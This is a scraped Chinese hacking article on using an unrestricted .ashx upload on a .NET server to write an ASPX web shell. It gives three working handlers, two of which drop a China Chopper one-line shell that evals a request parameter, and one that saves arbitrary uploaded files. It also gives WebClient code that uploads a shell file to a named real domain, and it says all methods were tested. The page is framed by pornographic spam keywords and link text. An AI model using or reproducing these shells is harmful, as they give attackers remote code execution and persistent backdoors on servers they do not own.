成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

揭穿黑客關(guān)于Ashx腳本寫aspx木馬的方法匯總

安全 黑客攻防 應(yīng)用安全
.Net環(huán)境,上傳處未限制Ashx和Asmx,后者上傳無法運行,提示Asmx腳本只能在本地運行,于是打算先傳個Ashx腳本然后在當(dāng)前目錄下生成Aspx文件(目標(biāo)不能執(zhí)行Asp文件)。

.Net環(huán)境,上傳處未限制Ashx和Asmx,后者上傳無法運行,提示Asmx腳本只能在本地運行,于是打算先傳個Ashx腳本然后在當(dāng)前目錄下生成Aspx文件(目標(biāo)不能執(zhí)行Asp文件),網(wǎng)上找到如下Ashx代碼:

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.       
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.            
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>");   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

我將腳本中的Asp一句話改成菜刀的Aspx一句話~不過執(zhí)行的時候爆錯,說未知指令@Page。遂采用一下2種方式解決:

1,用String連接字符串

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.        
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";   
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write(show);   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

2.比較笨的方法,看代碼吧

  1. <%@ WebHandler Language="C#" Class="Uploader" %>   
  2. using System;   
  3. using System.IO;   
  4. using System.Web;      
  5.    
  6. public class Uploader : IHttpHandler   
  7. {   
  8.     public void ProcessRequest(HttpContext hc)   
  9.     {   
  10.         foreach (string fileKey in hc.Request.Files)   
  11.         {   
  12.             HttpPostedFile file = hc.Request.Files[fileKey];   
  13.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));   
  14.         }   
  15.     }      
  16.    
  17.     public bool IsReusable   
  18.     {   
  19.         get { return true; }   
  20.     }   
  21. }  

然后用VS建立WinForm程序~主函數(shù)里寫:

System.Net.WebClient myWebClient = new System.Net.WebClient();

myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");

執(zhí)行就可以了~以上方法均測試成功~

責(zé)任編輯:藍雨淚 來源: 黑客x檔案
相關(guān)推薦

2011-03-14 10:19:43

2010-09-07 09:33:20

2011-03-14 10:10:01

2009-06-26 16:05:51

云計算

2009-06-28 21:34:22

云計算IT虛擬機

2010-09-08 16:00:31

2009-10-30 10:51:50

2010-08-24 11:54:46

2022-04-13 12:09:07

黑客木馬網(wǎng)絡(luò)攻擊

2010-09-08 15:50:15

2018-03-06 14:00:44

超融合基礎(chǔ)架構(gòu)

2009-06-01 09:34:22

2023-08-15 14:09:38

DevOps開發(fā)人員運維

2018-10-14 15:37:27

機器學(xué)習(xí)數(shù)據(jù)算法

2010-09-03 11:35:50

2019-11-07 23:48:12

shell腳本getopts

2009-11-09 20:28:28

福布斯富豪榜黑客傳播木馬

2011-09-05 14:25:12

2009-08-27 17:57:54

2009-04-10 11:28:02

點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 国产精品亚洲第一 | 一区视频在线免费观看 | 欧美国产视频 | 亚洲视频一区在线观看 | www国产成人免费观看视频,深夜成人网 | a毛片| 亚洲精品视频一区二区三区 | 蜜桃精品视频在线 | 少妇特黄a一区二区三区88av | 啪一啪在线视频 | 亚洲一区二区三区欧美 | 成年人网站免费视频 | 91精品国产91久久久久青草 | 亚洲成人一区二区三区 | 久久久久亚洲国产| 欧美久久久久久 | 精品国产乱码久久久久久蜜柚 | 天天干精品 | 国产馆 | 亚洲欧美一区二区三区国产精品 | 爱操影视 | 国产精品日韩欧美一区二区三区 | 亚洲精品久久久久久一区二区 | 日韩av在线中文字幕 | 99久久婷婷国产精品综合 | 欧美激情黄色 | 亚洲色图插插插 | 啪啪综合网 | 久久久久久国产精品 | 91久久久精品国产一区二区蜜臀 | 欧美一级在线 | 中文字幕一二三 | 国产精品国产自产拍高清 | 在线观看av网站永久 | 久久久蜜臀国产一区二区 | 久久久久久成人网 | 欧美aaaaaa| 国产高清视频 | 欧美视频 亚洲视频 | 国产精品久久久久久一区二区三区 | 欧美日韩在线视频一区二区 |